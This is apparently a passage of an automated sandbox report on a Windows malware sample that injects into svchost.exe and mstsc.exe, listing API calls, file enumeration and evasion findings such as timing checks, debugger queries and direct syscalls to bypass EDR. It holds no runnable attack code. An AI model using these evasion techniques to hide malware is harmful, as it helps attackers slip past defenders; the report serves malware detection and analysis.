Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007F53DF IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_007F53DF

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00793307 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00793307

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\rP0n___87004354.exe	API/Special instruction interceptor: Address: 3B4014C
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02F7096E rdtsc

1_2_02F7096E

Source: C:\Windows\SysWOW64\mstsc.exe

Window / User API: threadDelayed 9821

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-97729

Source: C:\Users\user\Desktop\rP0n___87004354.exe	API coverage: 4.3 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\mstsc.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\mstsc.exe TID: 4268	Thread sleep count: 151 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4268	Thread sleep time: -302000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4268	Thread sleep count: 9821 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4268	Thread sleep time: -19642000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe TID: 3704	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe TID: 3704	Thread sleep time: -40500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_007D449B
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DC75D FindFirstFileW,FindClose,	0_2_007DC75D
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DC7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_007DC7E8
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_007DF021
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_007DF17E
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007DF47F
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D3833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_007D3833
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D3B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_007D3B56
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DBD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007DBD48
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0017C460 FindFirstFileW,FindNextFileW,FindClose,	3_2_0017C460

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00774AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00774AFE

Source: FrywuFHvnDbLo.exe, 00000005.00000002.3547246577.0000000000E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: mstsc.exe, 00000003.00000002.3546768186.0000000000582000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000008.00000002.2105767634.000002642E36E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllyy

Source: C:\Users\user\Desktop\rP0n___87004354.exe	API call chain: ExitProcess graph end node			graph_0-96249
Source: C:\Users\user\Desktop\rP0n___87004354.exe	API call chain: ExitProcess graph end node			graph_0-96323

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02F7096E rdtsc

1_2_02F7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_024A76F3 LdrLoadDll,

1_2_024A76F3

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007E401F BlockInput,

0_2_007E401F

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00773B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00773B4C

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007A5BFC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_007A5BFC

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007EC104 LoadLibraryA,GetProcAddress,

0_2_007EC104

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F402E1 mov eax, dword ptr fs:[00000030h]	1_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F402E1 mov eax, dword ptr fs:[00000030h]	1_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F402E1 mov eax, dword ptr fs:[00000030h]	1_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03008324 mov eax, dword ptr fs:[00000030h]	1_2_03008324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03008324 mov ecx, dword ptr fs:[00000030h]	1_2_03008324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03008324 mov eax, dword ptr fs:[00000030h]	1_2_03008324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03008324 mov eax, dword ptr fs:[00000030h]	1_2_03008324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300634F mov eax, dword ptr fs:[00000030h]	1_2_0300634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F402A0 mov eax, dword ptr fs:[00000030h]	1_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F402A0 mov eax, dword ptr fs:[00000030h]	1_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6E284 mov eax, dword ptr fs:[00000030h]	1_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6E284 mov eax, dword ptr fs:[00000030h]	1_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB0283 mov eax, dword ptr fs:[00000030h]	1_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB0283 mov eax, dword ptr fs:[00000030h]	1_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB0283 mov eax, dword ptr fs:[00000030h]	1_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274 mov eax, dword ptr fs:[00000030h]	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F34260 mov eax, dword ptr fs:[00000030h]	1_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F34260 mov eax, dword ptr fs:[00000030h]	1_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F34260 mov eax, dword ptr fs:[00000030h]	1_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2826B mov eax, dword ptr fs:[00000030h]	1_2_02F2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2A250 mov eax, dword ptr fs:[00000030h]	1_2_02F2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36259 mov eax, dword ptr fs:[00000030h]	1_2_02F36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEA250 mov eax, dword ptr fs:[00000030h]	1_2_02FEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEA250 mov eax, dword ptr fs:[00000030h]	1_2_02FEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB8243 mov eax, dword ptr fs:[00000030h]	1_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB8243 mov ecx, dword ptr fs:[00000030h]	1_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2823B mov eax, dword ptr fs:[00000030h]	1_2_02F2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F663FF mov eax, dword ptr fs:[00000030h]	1_2_02F663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F403E9 mov eax, dword ptr fs:[00000030h]	1_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDE3DB mov ecx, dword ptr fs:[00000030h]	1_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	1_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	1_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEC3CD mov eax, dword ptr fs:[00000030h]	1_2_02FEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F383C0 mov eax, dword ptr fs:[00000030h]	1_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F383C0 mov eax, dword ptr fs:[00000030h]	1_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F383C0 mov eax, dword ptr fs:[00000030h]	1_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F383C0 mov eax, dword ptr fs:[00000030h]	1_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB63C0 mov eax, dword ptr fs:[00000030h]	1_2_02FB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300625D mov eax, dword ptr fs:[00000030h]	1_2_0300625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F28397 mov eax, dword ptr fs:[00000030h]	1_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F28397 mov eax, dword ptr fs:[00000030h]	1_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F28397 mov eax, dword ptr fs:[00000030h]	1_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2E388 mov eax, dword ptr fs:[00000030h]	1_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2E388 mov eax, dword ptr fs:[00000030h]	1_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2E388 mov eax, dword ptr fs:[00000030h]	1_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5438F mov eax, dword ptr fs:[00000030h]	1_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5438F mov eax, dword ptr fs:[00000030h]	1_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD437C mov eax, dword ptr fs:[00000030h]	1_2_02FD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov eax, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov eax, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov eax, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov ecx, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov eax, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB035C mov eax, dword ptr fs:[00000030h]	1_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFA352 mov eax, dword ptr fs:[00000030h]	1_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD8350 mov ecx, dword ptr fs:[00000030h]	1_2_02FD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB2349 mov eax, dword ptr fs:[00000030h]	1_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030062D6 mov eax, dword ptr fs:[00000030h]	1_2_030062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2C310 mov ecx, dword ptr fs:[00000030h]	1_2_02F2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F50310 mov ecx, dword ptr fs:[00000030h]	1_2_02F50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6A30B mov eax, dword ptr fs:[00000030h]	1_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6A30B mov eax, dword ptr fs:[00000030h]	1_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6A30B mov eax, dword ptr fs:[00000030h]	1_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_02F2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F720F0 mov ecx, dword ptr fs:[00000030h]	1_2_02F720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_02F2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F380E9 mov eax, dword ptr fs:[00000030h]	1_2_02F380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB60E0 mov eax, dword ptr fs:[00000030h]	1_2_02FB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB20DE mov eax, dword ptr fs:[00000030h]	1_2_02FB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF60B8 mov eax, dword ptr fs:[00000030h]	1_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F280A0 mov eax, dword ptr fs:[00000030h]	1_2_02F280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC80A8 mov eax, dword ptr fs:[00000030h]	1_2_02FC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03004164 mov eax, dword ptr fs:[00000030h]	1_2_03004164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03004164 mov eax, dword ptr fs:[00000030h]	1_2_03004164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3208A mov eax, dword ptr fs:[00000030h]	1_2_02F3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5C073 mov eax, dword ptr fs:[00000030h]	1_2_02F5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F32050 mov eax, dword ptr fs:[00000030h]	1_2_02F32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB6050 mov eax, dword ptr fs:[00000030h]	1_2_02FB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC6030 mov eax, dword ptr fs:[00000030h]	1_2_02FC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2A020 mov eax, dword ptr fs:[00000030h]	1_2_02F2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2C020 mov eax, dword ptr fs:[00000030h]	1_2_02F2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E016 mov eax, dword ptr fs:[00000030h]	1_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E016 mov eax, dword ptr fs:[00000030h]	1_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E016 mov eax, dword ptr fs:[00000030h]	1_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E016 mov eax, dword ptr fs:[00000030h]	1_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030061E5 mov eax, dword ptr fs:[00000030h]	1_2_030061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB4000 mov ecx, dword ptr fs:[00000030h]	1_2_02FB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000 mov eax, dword ptr fs:[00000030h]	1_2_02FD2000
